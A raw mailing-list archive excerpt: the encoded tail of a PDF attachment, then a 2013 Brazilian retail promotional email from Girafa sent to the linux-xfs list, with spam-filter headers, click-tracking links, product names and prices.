vQkg4kUu2wYQ8SItmwAiXqRxA0DEi6xaAxDxIguXAQTeIPOTJ3Jyg2ULN2Jlho3ZDFjaDFja DFjajDhmM3nQZxwZ2w/78/MBY3er0XH5wb7DuO8p3LcE992L++K47yrctw33VeC+S3FfFPcF cF8m7lNx35N4CqCiD6sD50XLVQ/uewH3PY77unFfBPeFcV8O7lNwmTrIZPXPK6FBNQ32zyDr CsILphfbYIxZgNEsYOssWPZHwD8OLkljKhRSsrXC3kwSZu/Pr9TiE6YWt8+YyzwDFZ8BMjyD 3gLHAYGeATZ6Bhoh19Nt4FeCWwPuKLhPwCXBCVA6GwZ+K/Vt4BeCqwS3BtzV4D4BJ9DhfAKO Qe36EPfSgRXqg15IYswz8JB/15rFZKkZckCOynPZWwPYlokXZiYzmTLkIl9PcNiN9kFsOfh3 yz/+bkHiDJG5hbkVZQAhdunhrf2fZQQH8Z39kSeDM9LxHSiTA67D5SiCwxBOQd00PgkFjCQs RQHmUQiL+wMroJqtP1IQPIytpNbB4GeBU8EPA4MMgB8Engz+VhnkcH/wVUh59GDwlcANwecL B42Q8lRkEENwWKFFDwWmBB9/gRbdBhl39wevIsHB4JWBOcGNAZoR1zIu7YaYagsuiawKzoX2 qgJrg2o3tHkwWBm4NFihlZpE6hwMFsEQohqYD4MdF6CdhjJpg8vLBnGTWmC43bDSsNAw2VBs KDBkGYKGDIPf4DQ6jLLRajQbJaPRKBg5I2NERif5uaUo+XaFU5Dpv0TjiM9RWGaIz2hfp2Gw kUEXokQaW8PULJ2JaxJHG1DNWiVxbmloEEuLVyX40EyccNSgmmUzE1OiNYOG5JJEWbQmYVh0 ycp9GN9SC6kJZscgRstWDuIkSbrOT/7T5CGEsf26m/0kzLvu5tpa5HFtqvRUOqbby2dXfYNX r/tjfsjGcx6ckbi9ZunKxCMZtYliAiQzamsS3yP/ivIQ/hSfqa46hP9CgtqVh9jp+NPqJSSd nV5VW1sziFfQckjBf4FywDF/oeWMmUgh5ZBizNTK3a2VC0N9KJdDAigniihMy4VFkZbjMCm3 rzunumpfTg4t4wbdk5bpditjy7wQhjLhMC3j6kMv0DIvuPpImcR0WiQQgCKZAVoE+1CAFglg Hy2yYrRIoV7khpEiN9CeWDxaJqCVsbydKmN5G8pE/91PfGY0ivdPq21YTf6NZ32oOg6uPnHj piZPom+touxrqNX/v2ekfm1DEwlj8URtKF6VaAhVKfumrf6G7NUke1qoah9aXb1s5b7Varyq f5o6rToUq6rdP2dRadl5fd0w0lfpom9obBFprJT0NafsG7LLSPYc0lcZ6auM9DVHnUP7QpTH F63cZ0Qza2et1sL9jEkCfq33Z9XOdMkd0ynzTsvyXOU/DArJQ8gUrU2YQzMTFnAka/yM8TNI FqwpkmUl/6tVz/JcNS3Lfxg/pGfJkGwPzUTRnt7uXuSpbq7S/rrhA0k9vQThmh/t/mcfyKtO qLGq7h6EahL5S2sSlYtXrdxnMEBqPZlSYmoqzWSqHkwe1RInQOJUksiyIwVJWgVJE0W94Nfp 36uH9FuTfcyT+7GaicGqq2UTmTXLGBAFy/R/inkY1CWyPXTXwgS7cRR3p9qgw9Z/xR2R+aZc T68O6Xjo0UOtFlTpTqFj5EOwhP4X05ee4AplbmRzdHJlYW0KZW5kb2JqCgoxMyAwIG9iagox ODE0OQplbmRvYmoKCjE0IDAgb2JqCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUv REFBQUFBK0FyaWFsTVQKL0ZsYWdzIDQKL0ZvbnRCQm94Wy02NjQgLTMyNCAyMDAwIDEwMDZd L0l0YWxpY0FuZ2xlIDAKL0FzY2VudCA5MDUKL0Rlc2NlbnQgMjExCi9DYXBIZWlnaHQgMTAw NQovU3RlbVYgODAKL0ZvbnRGaWxlMiAxMiAwIFI+PgplbmRvYmoKCjE1IDAgb2JqCjw8L0xl bmd0aCAzNzIvRmlsdGVyL0ZsYXRlRGVjb2RlPj4Kc3RyZWFtCnicXZLNboMwDIDvPEWO3aGC pEBWCSG1tEgc9qOxPQAF0yGNEAV64O0X290m7QD6nNjOF8VhUZ0qMyzhq5vaGhbRD6ZzME83 14K4wHUwgVSiG9rlHtG/HRsbhL62XucFxsr0U5YF4Zvfmxe3is2hmy7wEIQvrgM3mKvYfBS1 j+ubtV8wgllEFOS56KD3fZ4a+9yMEFLVtur89rCsW1/yl/C+WhCKYskq7dTBbJsWXGOuEGRR lIusLPMATPdvbxdzyaVvPxvnU6VPjaJkn3tWxGmJvCPWCXJMrCLkhNc1csr5VKuZC+RHZoW8 Z6Y+B+YY+ch9dsgFM62fmKn2zPln5JIZz5URs0Rmf03M/ho9Jfun2F+yf5ois3/6iMz+mtbZ X52Q2V/hXST7a7yjZP+YzmL/BJ0l+yd0Fvsn5Hn3p57sr/Auiv01Oij2T4/I7B/v6eHuL4RP iDP2MxqivTnnx4IGkeYBJ2Ew8DurdrJYRd83McG63AplbmRzdHJlYW0KZW5kb2JqCgoxNiAw IG9iago8PC9UeXBlL0ZvbnQvU3VidHlwZS9UcnVlVHlwZS9CYXNlRm9udC9EQUFBQUErQXJp YWxNVAovRmlyc3RDaGFyIDAKL0xhc3RDaGFyIDM0Ci9XaWR0aHNbNzUwIDY2NiA1NTYgNTU2 IDI3NyA3MjIgMjIyIDIyMiA1NTYgNTU2IDU1NiA1MDAgMjc3IDMzMyA1NTYgNTU2CjU1NiA1 NTYgNTU2IDUwMCAyNzcgNTU2IDUwMCAzMzMgMjc3IDUwMCA2NjYgNjEwIDY2NiA5NDMgODMz IDI3Nwo1MDAgNTAwIDI3NyBdCi9Gb250RGVzY3JpcHRvciAxNCAwIFIKL1RvVW5pY29kZSAx NSAwIFIKPj4KZW5kb2JqCgoxNyAwIG9iago8PC9UeXBlL0ZvbnQvU3VidHlwZS9UeXBlMS9C YXNlRm9udC9IZWx2ZXRpY2EtQm9sZE9ibGlxdWUKL0VuY29kaW5nL1dpbkFuc2lFbmNvZGlu Zwo+PgplbmRvYmoKCjE4IDAgb2JqCjw8L0YxIDE3IDAgUi9GMiAxMSAwIFIvRjMgMTYgMCBS Cj4+CmVuZG9iagoKMTkgMCBvYmoKPDwvRm9udCAxOCAwIFIKL1hPYmplY3Q8PC9JbTQgNCAw IFI+PgovUHJvY1NldFsvUERGL1RleHQvSW1hZ2VDL0ltYWdlSS9JbWFnZUJdCj4+CmVuZG9i agoKMSAwIG9iago8PC9UeXBlL1BhZ2UvUGFyZW50IDYgMCBSL1Jlc291cmNlcyAxOSAwIFIv TWVkaWFCb3hbMCAwIDU5NSA4NDJdL0Fubm90c1sKNSAwIFIgXQovR3JvdXA8PC9TL1RyYW5z cGFyZW5jeS9DUy9EZXZpY2VSR0IvSSB0cnVlPj4vQ29udGVudHMgMiAwIFI+PgplbmRvYmoK CjYgMCBvYmoKPDwvVHlwZS9QYWdlcwovUmVzb3VyY2VzIDE5IDAgUgovTWVkaWFCb3hbIDAg MCA1OTUgODQyIF0KL0tpZHNbIDEgMCBSIF0KL0NvdW50IDE+PgplbmRvYmoKCjUgMCBvYmoK PDwvVHlwZS9Bbm5vdC9TdWJ0eXBlL0xpbmsvQm9yZGVyWzAgMCAwXS9SZWN0WzEwMC4xIDI5 Ni43IDIwMS42IDMxMC41XS9BPDwvVHlwZS9BY3Rpb24vUy9VUkkvVVJJKGh0dHA6Ly93d3cu dGlyZS1zdHlsZS5kZS8pPj4KPj4KZW5kb2JqCgoyMCAwIG9iago8PC9UeXBlL0NhdGFsb2cv UGFnZXMgNiAwIFIKL09wZW5BY3Rpb25bMSAwIFIgL1hZWiBudWxsIG51bGwgMF0KL0xhbmco ZGUtREUpCj4+CmVuZG9iagoKMjEgMCBvYmoKPDwvQ3JlYXRvcjxGRUZGMDA1NzAwNzIwMDY5 MDA3NDAwNjUwMDcyPgovUHJvZHVjZXI8RkVGRjAwNEYwMDcwMDA2NTAwNkUwMDRGMDA2NjAw NjYwMDY5MDA2MzAwNjUwMDJFMDA2RjAwNzIwMDY3MDAyMDAwMzMwMDJFMDAzMD4KL0NyZWF0 aW9uRGF0ZShEOjIwMTMwNTI4MTM1MTM5KzAyJzAwJyk+PgplbmRvYmoKCnhyZWYKMCAyMgow MDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAxNTc3MzcgMDAwMDAgbiAKMDAwMDAwMDAxOSAwMDAw MCBuIAowMDAwMDAxOTMwIDAwMDAwIG4gCjAwMDAwMDE5NTEgMDAwMDAgbiAKMDAwMDE1Nzk5 NiAwMDAwMCBuIAowMDAwMTU3ODk3IDAwMDAwIG4gCjAwMDAxMjg5MjIgMDAwMDAgbiAKMDAw MDEzNzYyNCAwMDAwMCBuIAowMDAwMTM3NjQ1IDAwMDAwIG4gCjAwMDAxMzc4NDIgMDAwMDAg biAKMDAwMDEzODEzMyAwMDAwMCBuIAowMDAwMTM4MzAwIDAwMDAwIG4gCjAwMDAxNTY1MzYg MDAwMDAgbiAKMDAwMDE1NjU1OSAwMDAwMCBuIAowMDAwMTU2NzQ4IDAwMDAwIG4gCjAwMDAx NTcxOTAgMDAwMDAgbiAKMDAwMDE1NzQ4MSAwMDAwMCBuIAowMDAwMTU3NTg1IDAwMDAwIG4g CjAwMDAxNTc2MzggMDAwMDAgbiAKMDAwMDE1ODE0MSAwMDAwMCBuIAowMDAwMTU4MjM4IDAw MDAwIG4gCnRyYWlsZXIKPDwvU2l6ZSAyMi9Sb290IDIwIDAgUgovSW5mbyAyMSAwIFIKL0lE IFsgPEQwODBGRTNBNUE5QjVDRTgyOEJENTk2QjU3ODgxMEExPgo8RDA4MEZFM0E1QTlCNUNF ODI4QkQ1OTZCNTc4ODEwQTE+IF0KL0RvY0NoZWNrc3VtIC9FN0Y0Mzk2RkZENTlBRjcxM0FD RDM2QTk5ODhEODE3NAo+PgpzdGFydHhyZWYKMTU4NDI1CiUlRU9GCg== --------------000003080901040500010303-- From dma_1636@rp.email.girafa.com.br Tue Jul 9 07:18:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B5BD07F37 for ; Tue, 9 Jul 2013 07:18:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49F9FAC006 for ; Tue, 9 Jul 2013 05:18:23 -0700 (PDT) X-ASG-Debug-ID: 1373372289-04bdf0233cd31ec0001-w1Z2WR Received: from vt-0007-220.email.girafa.com.br (vt-0007-220.email.girafa.com.br [187.61.43.220]) by cuda.sgi.com with ESMTP id IEekkrlgo2LHZYPh for ; Tue, 09 Jul 2013 05:18:10 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.43.220 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=vLRKgE+fUdDzdbdaPywgn3Gkvdk=; b=hwYxNxa1At9HL3QIYUXOmTxKHNW110+6YOKHHJU6bvVHCiOMIdVfTWiEV2SlhLwVEB+G9l4ar4Uf rn9tie1eshPiFNfa75vE6SHGrr2TbEiMjtDsUq3XreWErblKm/qv6NXI6XU4QKMbNEfUncMVECCD bs6IIidDdqobRcSSHTM= Received: by vt-0007-220.email.girafa.com.br id hrfvoa0sh4st for ; Tue, 9 Jul 2013 09:18:09 -0300 (envelope-from ) From: "=?ISO-8859-1?Q?Girafa?=" To: "" Subject: =?ISO-8859-1?Q?Oportunidade_Girafa:_Preparamos_ofertas_com_pre=E7os_impressionantes_para_voc=EA._Confira_e_comprove!?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Oportunidade_Girafa:_Preparamos_ofertas_com_pre=E7os_impressionantes_para_voc=EA._Confira_e_comprove!?= Content-Type: multipart/alternative; boundary="5dc15a0ec0aa455eb1535cecef4189e1" Reply-To: "=?ISO-8859-1?Q?Girafa?=" List-Unsubscribe: X-Hash: 1636-3276-644384-1c2237438af082b58788aa38a7694b1f X-DMA: 5288346 Message-ID: <0.4.7.CC1.1CE7C9E5F8C42E6.1EEE1@vt-0007-220.email.girafa.com.br> Date: Tue, 9 Jul 2013 09:18:13 -0300 X-Barracuda-Connect: vt-0007-220.email.girafa.com.br[187.61.43.220] X-Barracuda-Start-Time: 1373372289 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --5dc15a0ec0aa455eb1535cecef4189e1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84752,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84753,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84754,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84755,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84756,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84757,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84758,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84759,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_09_07_13" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84760,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPW01JTIwYm94Jm1hcmNhcz1zdXVudG8mc3ViZ3J1cG9zPSZ1dG1fc291cmNlPTA5XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvUGhpbGlwcy9taWNyb3Byb2pldG9yLXBpY29waXgtcGhpbGlwcy1wcHgyMDU1LWhkbWktbW= luaS11c2ItNTUtbHVtZW5zLWNhcnQtc2QuaHRtP3V0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2d6LWUyMDAtZnVsbC1oZC16b29tLW9wdGljby00MHgtbGNkLTMuMC10b3VjaHNjcm= Vlbi1nei1lMjAwLmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZ= Gl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] PPX2055 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvUGhpbGlwcy9taWNyb3Byb2pldG9yLXBpY29waXgtcGhpbGlwcy1wcHgyMDU1LWhkbWktbW= luaS11c2ItNTUtbHVtZW5zLWNhcnQtc2QuaHRtP3V0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] GZ-E200 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2d6LWUyMDAtZnVsbC1oZC16b29tLW9wdGljby00MHgtbGNkLTMuMC10b3VjaHNjcm= Vlbi1nei1lMjAwLmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZ= Gl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Microprojetor PicoPix Philips [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1Byb2pldG9= yZXMvUGhpbGlwcy9taWNyb3Byb2pldG9yLXBpY29waXgtcGhpbGlwcy1wcHgyMDU1LWhkbWktbW= luaS11c2ItNTUtbHVtZW5zLWNhcnQtc2QuaHRtP3V0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Filmadora JVC [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/gz-e200-full-hd-zoom-optico-40x-lcd-3.0-touchscreen-gz-e200.h= tm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&ut= m_campaign=3Doferta_do_dia_09_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.583,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Philips/microprojetor-picopix-philips-ppx2055-hdmi-mini-usb-55-lu= mens-cart-sd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Philips/microprojetor-picopix-philips-ppx2055-hdmi-mini-usb-55-lu= mens-cart-sd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_09_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84761,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/P= rojetores/Philips/microprojetor-picopix-philips-ppx2055-hdmi-mini-usb-55-lu= mens-cart-sd.htm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_09_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 791,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/gz-e200-full-hd-zoom-optico-40x-lcd-3.0-touchscreen-gz-e200.h= tm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&ut= m_campaign=3Doferta_do_dia_09_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/gz-e200-full-hd-zoom-optico-40x-lcd-3.0-touchscreen-gz-e200.h= tm?utm_source=3D09_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&ut= m_campaign=3Doferta_do_dia_09_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84762,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2d6LWUyMDAtZnVsbC1oZC16b29tLW9wdGljby00MHgtbGNkLTMuMC10b3VjaHNjcm= Vlbi1nei1lMjAwLmh0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZ= Gl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdf= MTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItc29ueS1iZHAtczExMDAtcHJldG8tdXNiLWhkbWktaW= 50ZXJuZXQtZnVsbC1oZC5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0b= V9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA5= XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84764,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1JvdGVhZG9= yZXMvQXN1cy9yb3RlYWRvci1kc2wtbjEwLWFzdXMtbW9kZW0tcHJldG8tMTJ3LTE1MC1tYnBzLm= h0bT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1d= G1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09= ,1,b3NzLnNnaS5jb20=3D] BDP-S1100 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84763,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItc29ueS1iZHAtczExMDAtcHJldG8tdXNiLWhkbWktaW= 50ZXJuZXQtZnVsbC1oZC5odG0/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJnV0b= 